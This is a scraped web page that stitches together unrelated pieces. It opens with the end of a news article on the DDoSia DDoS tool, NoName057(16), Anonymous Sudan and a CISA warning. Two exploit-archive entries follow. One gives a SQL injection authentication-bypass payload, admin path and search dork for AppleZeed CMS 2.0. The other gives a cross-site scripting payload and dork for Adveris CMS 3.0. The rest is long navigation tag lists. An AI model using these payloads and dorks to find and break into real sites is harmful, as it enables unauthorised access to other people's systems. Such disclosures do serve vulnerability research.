"DDoSia is a multi-threaded application that conducts denial-of-service attacks against target sites by repeatedly issuing network requests," SentinelOne explained in an analysis published in January 2023. "DDoSia issues requests as instructed by a configuration file that the malware receives from a C2 server when started."

DDoSia is distributed through a fully-automated process on Telegram that allows individuals to register for the crowdsourced initiative in exchange for a cryptocurrency payment and a ZIP archive containing the attack toolkit.

What's noteworthy about the new version is the use of encryption to mask the list of targets to be attacked, indicating that the tool is being actively maintained by the operators.

"NoName057(16) is making efforts to make their malware compatible with multiple operating systems, almost certainly reflecting their intent to make their malware available to a large number of users, resulting in the targeting of a broader set of victims," Sekoia said.

The development comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) warned of targeted denial-of-service (DoS) and DDoS attacks against multiple organizations in multiple sectors.

"These attacks can cost an organization time and money and may impose reputational costs while resources and services are inaccessible," the agency said in a bulletin.

Although CISA did not provide any additional specifics, the warning overlaps with claims by Anonymous Sudan on its Telegram channel that it had taken down the websites of the Department of Commerce, Social Security Administration (SSA), and the Treasury Department's Electronic Federal Tax Payment System (EFTPS).

Anonymous Sudan attracted attention last month for carrying Layer 7 DDoS attacks against various Microsoft services, including OneDrive, Outlook, and Azure web portals. The tech giant is tracking the cluster under the name Storm-1359.

The hacking crew has asserted it's conducting cyber strikes out of Africa on behalf of oppressed Muslims across the world. But cybersecurity researchers believe it to be a pro-Kremlin operation with no ties to Sudan and a member of the KillNet hacktivist collective.

In an analysis released on June 19, 2023, Australian cybersecurity vendor CyberCX characterized the entity as a "smokescreen for Russian interests." The company's website has since become inaccessible, greeting visitors with a "403 Forbidden" message. The threat actor claimed responsibility for the cyber attack.

"The reason for the attack: stop spreading rumors about us, and you must tell the truth and stop the investigations that we call the investigations of a dog," Anonymous Sudan said in a message posted on June 22, 2023.

Anonymous Sudan, in a Bloomberg report last week, further denied it was connected to Russia but acknowledged they share similar interests, and that it goes after "everything that is hostile to Islam."

CISA's latest advisory has also not gone unnoticed, for the group posted a response on June 30, 2023, stating: "A small Sudanese group with limited capabilities forced 'the most powerful government' in the world to publish articles and tweets about our attacks."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

DDoSia Attack Tool Evolves with Encryption, Targeting Multiple Sectors

AppleZeed CMS version 2.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

**AppleZeed CMS 2.0 SQL Injection**

Posted Jul 4, 2023

Authored by indoushka

AppleZeed CMS version 2.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection

SHA-256 | b10dc7fe6d4f1a88b74eac3ee061dec5b828171e6513804abc4b45080828e37b

Download | Favorite | View

**AppleZeed CMS 2.0 SQL Injection**

    ====================================================================================================================================| # Title     : AppleZeed CMS v2.0 Auth by pass Vulnerability                                                                      || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 71.0(32-bit)                                               | | # Vendor    : https://applezeed.com                                                                                              |  | # Dork      : intext:"Power BY applezeed.com "php?id="                                                                           |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : user & pass = 1' or 1=1 -- -[+] admin path = /backend/[+] http://TARGET/backend/Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,564)
*   Arbitrary (16,123)
*   BBS (2,859)
*   Bypass (1,725)
*   CGI (1,025)
*   Code Execution (7,205)
*   Conference (678)
*   Cracker (841)
*   CSRF (3,331)
*   DoS (23,296)
*   Encryption (2,364)
*   Exploit (51,438)
*   File Inclusion (4,203)
*   File Upload (960)
*   Firewall (821)
*   Info Disclosure (2,743)
*   Intrusion Detection (888)
*   Java (3,007)
*   JavaScript (845)
*   Kernel (6,610)
*   Local (14,414)
*   Magazine (586)
*   Overflow (12,629)
*   Perl (1,423)
*   PHP (5,136)
*   Proof of Concept (2,336)
*   Protocol (3,571)
*   Python (1,526)
*   Remote (30,592)
*   Root (3,574)
*   Rootkit (506)
*   Ruby (611)
*   Scanner (1,633)
*   Security Tool (7,862)
*   Shell (3,170)
*   Shellcode (1,212)
*   Sniffer (893)
*   Spoof (2,193)
*   SQL Injection (16,261)
*   TCP (2,395)
*   Trojan (687)
*   UDP (885)
*   Virus (664)
*   Vulnerability (31,656)
*   Web (9,602)
*   Whitepaper (3,747)
*   x86 (961)
*   XSS (17,795)
*   Other

**File Archives**

*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   August 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (1,981)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,921)
*   Debian (6,783)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,321)
*   HPUX (879)
*   iOS (346)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,075)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (483)
*   RedHat (13,489)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,716)
*   UNIX (9,256)
*   UnixWare (186)
*   Windows (6,560)
*   Other

AppleZeed CMS 2.0 SQL Injection

Adveris CMS version 3.0 suffers from a cross site scripting vulnerability.

**Adveris CMS 3.0 Cross Site Scripting**

Posted Jul 4, 2023

Authored by indoushka

Adveris CMS version 3.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | f4e69d15add89915deaf239446b331cc9106cc57ee69bf29f992d6be03d4d471

Download | Favorite | View

**Adveris CMS 3.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Adveris CMS v3.0 XSS Vulnerability                                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit)                                               | | # Vendor    : http://adveris.fr                                                                                                  |  | # Dork      : "Création site internet : Adveris" inurl:.php?id=                                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /sous-categorie.php?id=6<--`<script>alert(/indoushka/);</script>``> --!>[+] http://w127.0.0.1/coveprofr/sous-categorie.php?id=6%3C--`%3Cscript%3Ealert(/indoushka/);%3C/script%3E``%3E%20--!%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,556)
*   Arbitrary (16,119)
*   BBS (2,859)
*   Bypass (1,725)
*   CGI (1,025)
*   Code Execution (7,203)
*   Conference (678)
*   Cracker (841)
*   CSRF (3,329)
*   DoS (23,289)
*   Encryption (2,363)
*   Exploit (51,413)
*   File Inclusion (4,202)
*   File Upload (960)
*   Firewall (821)
*   Info Disclosure (2,742)
*   Intrusion Detection (888)
*   Java (3,007)
*   JavaScript (845)
*   Kernel (6,610)
*   Local (14,412)
*   Magazine (586)
*   Overflow (12,628)
*   Perl (1,423)
*   PHP (5,134)
*   Proof of Concept (2,336)
*   Protocol (3,571)
*   Python (1,526)
*   Remote (30,582)
*   Root (3,573)
*   Rootkit (506)
*   Ruby (611)
*   Scanner (1,633)
*   Security Tool (7,861)
*   Shell (3,168)
*   Shellcode (1,212)
*   Sniffer (893)
*   Spoof (2,193)
*   SQL Injection (16,254)
*   TCP (2,395)
*   Trojan (687)
*   UDP (885)
*   Virus (664)
*   Vulnerability (31,654)
*   Web (9,600)
*   Whitepaper (3,747)
*   x86 (961)
*   XSS (17,791)
*   Other

**File Archives**

*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   August 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (1,981)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,921)
*   Debian (6,782)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,321)
*   HPUX (879)
*   iOS (346)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,067)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (483)
*   RedHat (13,489)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,709)
*   UNIX (9,256)
*   UnixWare (186)
*   Windows (6,560)
*   Other

Tag

#mac